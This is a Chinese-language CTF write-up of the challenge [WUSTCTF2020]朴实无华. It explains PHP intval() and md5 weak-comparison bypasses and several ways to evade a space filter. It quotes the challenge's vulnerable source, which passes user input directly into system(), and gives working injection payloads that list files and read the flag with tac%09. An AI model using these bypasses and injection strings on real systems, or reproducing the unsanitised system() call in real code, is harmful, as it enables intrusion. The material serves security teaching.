当前位置:网站首页>intval md5绕过之[WUSTCTF2020]朴实无华
intval md5绕过之[WUSTCTF2020]朴实无华
2022-07-25 11:47:00 【一只Traveler】
知识点:
01 intval()函数的绕过
根据intval()函数的使用方法,当函数中用字符串方式表示科学计数法时,函数的返回值是科学计数法前面的一个数,而对于科学计数法加数字则会返回科学计数法的数值
intval函数还可以用于判断回文串,因为intval函数的最大值取决于操作系统,如果字符串的回文超过了最大的范围值,那么返回的值就也是原来的字符串,就会变成回文串,实现了绕过。
02 md5绕过
==弱类型绕过:
比如
$a!=$b&&md($a)==md5($b)
可以使用0e开头的科学计数来绕过,使用0e215962017、QNKCDZO、s878926199a;
$a==md5($a)时使用科学计数0e215962017
强类型比较===
a!==b md值要相等;
使用工具,或者数组;
03.空格绕过
< <> 重定向符
%09(需要php环境)
${IFS}
$IFS$9
{cat,flag.php} //用逗号实现了空格功能
%20
回到题目:
扫描文件:发现robots.txt;
打开发现的php;
观察响应头发现还有fl4g.php;
打开得到源码;
//level 1
if (isset($_GET['num'])){
$num = $_GET['num'];
if(intval($num) < 2020 && intval($num + 1) > 2021){
echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
}else{
die("金钱解决不了穷人的本质问题");
}
}else{
die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){
$md5=$_GET['md5'];
if ($md5==md5($md5))
echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
else
die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
die("去非洲吧");
}
//get flag
if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "wctf2020", $get_flag);
echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
system($get_flag);
}else{
die("快到非洲了");
}
}else{
die("去非洲吧");
}
?> 这里的三个绕过用到上面的知识点:
直接payload
?num=2e4&md5=0e215962017&get_flag=ls
得到文件列表:
?num=2e4&md5=0e215962017&get_flag=tac%09fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag
边栏推荐
- Knowledge maps are used to recommend system problems (mvin, Ctrl, ckan, Kred, gaeat)
- Ansible
- 使用TensorBoard可视化训练过程
- Unexpected rollback exception analysis and transaction propagation strategy for nested transactions
- 2022河南萌新联赛第(三)场:河南大学 I - 旅行
- R language uses LM function to build multiple linear regression model, step function to build forward stepwise regression model to screen the best subset of prediction variables, and scope parameter t
- Figure neural network for recommending system problems (imp-gcn, lr-gcn)
- Zuul gateway use
- Intelligent information retrieval (overview of intelligent information retrieval)
- Fiddler抓包APP
猜你喜欢

The first scratch crawler

给生活加点惊喜,做创意生活的原型设计师丨编程挑战赛 x 选手分享

嵌套事务 UnexpectedRollbackException 分析与事务传播策略

2.1.2 application of machine learning

Ups and downs of Apple's supply chain in the past decade: foreign head teachers and their Chinese students

【黑马早报】运营23年,易趣网宣布关停;蔚来对大众CEO抛出橄榄枝;华为天才少年曾放弃360万年薪;尹烨回应饶毅炮轰其伪科学...

GPT plus money (OpenAI CLIP,DALL-E)

2.1.2 机器学习的应用

技术管理杂谈

Pytorch advanced training skills
随机推荐
2.1.2 机器学习的应用
R language ggplot2 visualization: use the ggviolin function of ggpubr package to visualize the violin graph, set the add parameter to add jitter data points and mean standard deviation vertical bars (
Ansible
1.1.1 欢迎来到机器学习
Eureka registration center opens password authentication - record
NLP知识----pytorch,反向传播,预测型任务的一些小碎块笔记
【十】比例尺添加以及调整
Musk's "eternal soul": half hype, half flicker
GPT plus money (OpenAI CLIP,DALL-E)
[micro service ~sentinel] sentinel degradation, current limiting, fusing
马斯克的“灵魂永生”:一半炒作,一半忽悠
Jenkins配置流水线
Analysis of TCP packet capturing using Wireshark
【Flutter -- 实例】案例一:基础组件 & 布局组件综合实例
MySQL练习二
Intelligent information retrieval (overview of intelligent information retrieval)
RestTemplate与Ribbon简单使用
Zuul gateway use
R语言使用ggpubr包的ggarrange函数将多幅图像组合起来、使用ggexport函数将可视化图像保存为jpeg格式(width参数指定宽度、height参数指定高度、res参数指定分辨率)
Eureka usage record